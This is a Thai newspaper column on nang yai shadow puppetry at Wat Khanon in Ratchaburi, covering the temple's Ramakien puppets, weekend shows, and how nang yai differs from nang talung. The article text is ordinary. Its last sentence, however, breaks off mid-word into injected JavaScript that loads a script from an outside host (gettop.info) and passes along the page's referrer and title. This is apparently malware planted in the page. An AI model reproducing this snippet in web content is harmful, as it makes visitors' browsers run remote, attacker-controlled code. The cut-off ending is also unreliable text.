มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 7 สิงหาคม  2557

 

หนังใหญ่วัดขนอน จ. ราชบุรี

          วัดขนอน (ต. สร้อยฟ้า อ. โพธาราม จ. ราชบุรี) อยู่ริมแม่น้ำแม่กลองฟากตะวันตก

          เป็นกลุ่มวัดสองฝั่งแม่น้ำ ตั้งแต่ อ. บ้านโป่ง ลงไปถึง อ. โพธาราม บริเวณที่คนมอญจาก จ. กาญจนบุรี เคลื่อนย้ายลงไป สมัย ร. 5

          ตรงวัดขนอน มีคำบอกเล่าสืบมาว่าน่าจะเป็นที่ตั้งด่านเก็บภาษีเรือบรรทุกสินค้าที่ล่องตามแม่น้ำแม่กลองจะเข้าเมืองราชบุรี

          ขนอน แปลว่า ด่าน, ที่กางกั้น, ที่กักเก็บ หมายถึงด่านเก็บภาษีสมัยก่อนที่มักเรียกทั่วไปว่า ด่านขนอน ตั้งอยู่ริมแม่น้ำหรือริมคลองทางเข้าออกเมืองใหญ่

          เช่น ยุคอยุธยา มีขนอนหลวง (ขนอนใหญ่สุด) ตั้งอยู่ริมแม่น้ำเจ้าพระยาที่วัดโปรดสัตว์ (ใต้เกาะเมืองอยุธยา) บางทีเรียกขนอนวัดโปรดสัตว์ หรือวัดขนอนโปรดสัตว์ก็มี

          หนังใหญ่วัดขนอนฉลุสลักไว้ สมัย ร.5 เป็นเรื่องรามเกียรติ์ 313 ตัว มีพิพิธภัณฑ์จัดแสดงตัวหนังใหญ่ และประวัติความเป็นมา แล้วยังมีโรงแสดงหนังใหญ่ทุกวันเสาร์ 10.00 น. และวันอาทิตย์ 11.00 น.

          ผมไปดูหนังใหญ่วัดขนอน เมื่อวันเสาร์ 2 สิงหาคม คนเชิด คนพากย์ เจรจา เป็นชาวบ้านรอบวัด และนักเรียนวัดขนอนกับโรงเรียนใกล้เคียง

          ปี่พาทย์ประโคม(มีโกร่งพร้อม) ส่วนมากเป็นนักเรียนหญิง โดยเฉพาะคนตีระนาดเอก ระนาดทุ้ม ฆ้องวงใหญ่ ฆ้องวงเล็ก ยังเรียนมัธยม แต่ตีเพลงหน้าพาทย์อร่อยมาก มีพลังสูงยิ่ง ควรสนับสนุนให้ก้าวหน้าแข็งแรงกว่านี้

          ควรมีเพลงฆ้อง, กลอง, ปี่ เป็นซาวด์ประกอบบรรยากาศในวัด เพราะเป็นลักษณะพิเศษของหนังใหญ่

          หนังใหญ่วัดขนอนเป็นของดีวิเศษแท้ แต่จะบริหารจัดการอย่างไรให้ยืนยาว ผมคิดไม่ออก ยังบอกไม่ถูก

 

หนังใหญ่, หนังตะลุง

          หนังใหญ่ หมายถึง การละเล่นหรือการแสดงที่นำตัวหนัง ซึ่งได้จากการฉลุเป็นรูปต่างๆเป็นเรื่อง เช่น เรื่องรามเกียรติ์ ฯลฯ มีคนเชิดให้เงาปรากฏบนจอ หรือให้คนดูทั้งตัวหนังและคนเชิด เต้นไปมาหน้าจอ โดยมีคนพากย์ เจรจา และปี่พาทย์ประโคมบรรเลงประกอบ

          ที่เรียกหนังใหญ่ เพราะตัวหนังมีขนาดใหญ่ ใช้วัว 1 ตัว ฉลุหนังใหญ่ได้ 1 ตัว

          หนัง หมายถึง แผ่นผิวของสัตว์ที่ชำแหละ ทำความสะอาด ตากแห้ง แล้วนำมาฉลุเป็นรูปต่างๆ เรียก ตัวหนัง

          หนังตะลุง หมายถึง การละเล่นหรือการแสดงที่นำตัวหนังขนาดเล็ก หรือหนังใหญ่ย่อส่วนให้เล็กลงมาก โดยคนเชิดคนเดียวพร้อมพากย์ และเครื่องประโคมย่อส่วนบรรเลงประกอบอยู่หลังจอ ให้เฉพาะตัวหนังตะลุงเป็นเงาทาบบนจอ ไม่เห็นคนเชิด

          หนังตะลุงเป็นหนังขนาดเล็ก (กว่าหนังใหญ่) วัว 1 ตัว ฉลุหนังตะลุงได้ราว 10 ตัว หรือมากกว่านั้น

          หนังใหญ่, หนังตะลุง คือ การเล่นเงา หรือ Shadow play เป็นวัฒนธรรมร่วมของอาเซียน (อาจเรียกวัฒนธรรมร่วมของโลกก็ได้ เพราะมีทั่วโลก) ไม่ได้มีเฉพาะไทย และมีร่องรอยแล้วหลายพันปี อาจถึงยุคก่อนประวัติศาสตร์ก็ได้ เพราะตัวหนังบางชุดใกล้เคียงลักษณะภาพเขียนสมัยก่อนประวัติศาสตร์ ราว 2,500 ปีมาแล้ว

          เครื่องประโคมหนังใหญ่ต้องมีเครื่องตีอย่างหนึ่งเรียกโกร่งทำจากกระบอกไม้ไผ่ยาวทั้งลำ ตีหลายคน สะท้อนลักษณะชุมชนดั้งเดิมดึกดำบรรพ์

          ในไทยหนังใหญ่สมัยแรกมีพัฒนาการขึ้นในลุ่มน้ำเจ้าพระยาตอนล่างก่อนยุคอยุธยา (ละโว้-อโยธยา ไม่เคยพบว่ามีในรัฐสุโขทัย) มีชื่อเป็นภาษาเขมรว่า แสบก (อ่าน สะ-แบก) แปลว่า หนัง (แผ่นผิวที่หุ้มเนื้อ) แต่ไทยยืมคำนี้มาใช้ในความหมายว่า หนังใหญ่

          หนังตะลุง เป็นคำผูกขึ้นใหม่ในไทย หมายถึงหนังขนาดเล็ก หรือแสบกขนาดเล็ก ผู้รู้ภาษาเขมรบอกว่า เขมรรับคำนี้ไปเขียนว่า ณำง, หฺนำง

          ตะลุง แปลว่า เสา เช่น เสาตะลุงสำหรับผูกข้างvar d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;